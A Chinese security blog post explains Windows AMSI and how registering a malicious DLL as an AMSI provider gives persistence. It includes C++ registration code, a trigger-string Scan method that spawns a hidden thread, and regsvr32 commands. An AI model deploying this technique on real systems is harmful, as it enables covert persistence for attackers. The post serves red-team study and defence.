Windows 反恶意软件扫描接口 (AMSI) 是微软推出一种通用接口标准,允许的应用程序和服务与机器上存在的任何毒软件进行调用。AMSI 为的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。
AMSI 与反恶意软件供应商无关;可以支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。
AMSI 还支持会话的概念,以便杀毒软件可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过单独地查杀这些片段就很难做出决定。
与 AMSI 集成的 Windows 组件
AMSI 功能已集成到 Windows 10 的这些组件中。
用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
PowerShell(脚本、交互使用和动态代码评估)
Windows 脚本宿主(wscript.exe 和 cscript.exe)
JavaScript 和 VBScript
Office VBA 宏
AMSI 专为对抗“无文件恶意软件”而设计。可以利用 AMSI 技术的应用程序类型包括脚本引擎、需要在使用前扫描内存缓冲区的应用程序,以及处理可能包含非 PE 可执行代码(例如 Microsoft Word 和 Excel 宏或 PDF 文档)的文件的应用程序.
AMSI Provider
AMSI Provider 是负责 Antimaware 产品扫描的组件。此组件必须实现 IAntimalwareProvider 接口,该接口具有以下方法
方法描述
IAntimalwareProvider::CloseSession关闭会话
IAntimalwareProvider::DisplayName要显示的反恶意软件提供商的名称
IAntimalwareProvider::Scan扫描内容流
开发人员可以两种方式在应用程序中与 AMSI 交互
通过使用 AMSI Win32 API。
通过使用 AMSI COM 接口。
那么我们可以通过建立和注册自己的进程内 COM 服务器 (DLL) 以充当 AMSI Provider。
参考微软文档我们可以知道如何使用 AMSI 注册提供程序 DLL
1.需要查看确认 Windows 注册表项存在:
HKLM\SOFTWARE\Microsoft\AMSI\Providers
HKLM\SOFTWARE\Classes\CLSID
2.需要向 COM 注册
HKLM\SOFTWARE\Classes\CLSID
微软文档中的注册方法:
#include <strsafe.h>...HRESULT SetKeyStringValue(_In_ HKEY key, _In_opt_ PCWSTR subkey, _In_opt_ PCWSTR valueName, _In_ PCWSTR stringValue){
LONG status = RegSetKeyValue(key, subkey, valueName, REG_SZ, stringValue, (wcslen(stringValue) + 1) * sizeof(wchar_t)); return HRESULT_FROM_WIN32(status);
}STDAPI DllRegisterServer(){ wchar_t modulePath[MAX_PATH]; if (GetModuleFileName(g_currentModule, modulePath, ARRAYSIZE(modulePath)) >= ARRAYSIZE(modulePath))
{ return E_UNEXPECTED;
} // Create a standard COM registration for our CLSID.
// The class must be registered as "Both" threading model,
// and support multithreaded access.
wchar_t clsidString[40]; if (StringFromGUID2(__uuidof(SampleAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)
{ return E_UNEXPECTED;
} wchar_t keyPath[200];
HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\\Classes\\CLSID\\%ls", clsidString); if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"SampleAmsiProvider"); if (FAILED(hr)) return hr;
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\\Classes\\CLSID\\%ls\\InProcServer32", clsidString); if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, modulePath); if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, L"ThreadingModel", L"Both"); if (FAILED(hr)) return hr; // Register this CLSID as an anti-malware provider.
hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\\Microsoft\\AMSI\\Providers\\%ls", clsidString); if (FAILED(hr)) return hr;
hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"SampleAmsiProvider"); if (FAILED(hr)) return hr; return S_OK;
}
上面是的一种方法。第2种方法可以
将DllRegisterServer方法实现到DLL中并用regsvr32命令注册
C:>C:\Windows\System32\regsvr32.exe SampleAmsiProvider.dll
DllRegisterServer 函数 (olectl.h)
指示进程内服务器为此服务器模块中支持的所有类创建其注册表项。
这个函数没有参数。
此函数可以返回标准返回值 E_OUTOFMEMORY 和 E_UNEXPECTED,以及以下值。
返回值
返回码描述
S_OK
注册表项已成功创建。
SELFREG_E_TYPELIB
服务器无法完成其类使用的所有类型库的注册。
SELFREG_E_CLASS
服务器无法完成所有对象类的注册。
注册提供程序需要管理员权限。注册后,Dll 将被加载到任何涉及 AMSI(powershell、clr 等)和 Scan 方法的进程中,将在扫描内容时调用:
HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
使用 AMSI Provider 实现持久化
基于上面的知识,我们可以通过注册恶意的DLL为AMSI Provider,当触发反恶意软件的“扫描请求”调用amsi接口时就可以触发我们的恶意DLL来进行维权,在原作者中的演示为通过在ASMI扫描特定单词的情况下触发我们的恶意DLL的执行并给出了scan方法的实例:
HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
UNICODE_STRING myTriggerString1;
RtlInitUnicodeString(&myTriggerString1, L"Run my malware");
UNICODE_STRING myTriggerString2;
RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");
UNICODE_STRING myTriggerString3;
RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");
ULONG actualSize;
ULONGLONG contentSize;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
actualSize == sizeof(ULONGLONG))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
PBYTE contentAddress;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
actualSize == sizeof(PBYTE))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
if (contentAddress)
{
if (contentSize < 50)
{
UNICODE_STRING myuni;
myuni.Buffer = (PWSTR)contentAddress;
myuni.Length = (USHORT)contentSize;
myuni.MaximumLength = (USHORT)contentSize;
if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
{
DWORD thId;
CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
}
}
}
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
https://gist.github.com/b4rtik/48ef702603d5e283bc81a05a01fccd40
然后使用regsvr32 向系统注册 AMSI 提供程序。
regsvr32 AmsiProvider.dll
然后可以通过关键词“pentestlab” 来进行触发。这里使用powershell来传入关键词;
我们可以看到在注册表中包含了我们的注册的值
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\Providers
个人认为这个手法可以更深入利用一下,这里不作讨论。例如:
对了, >Windows 10 1903没办法利用
参考:
https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/
https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。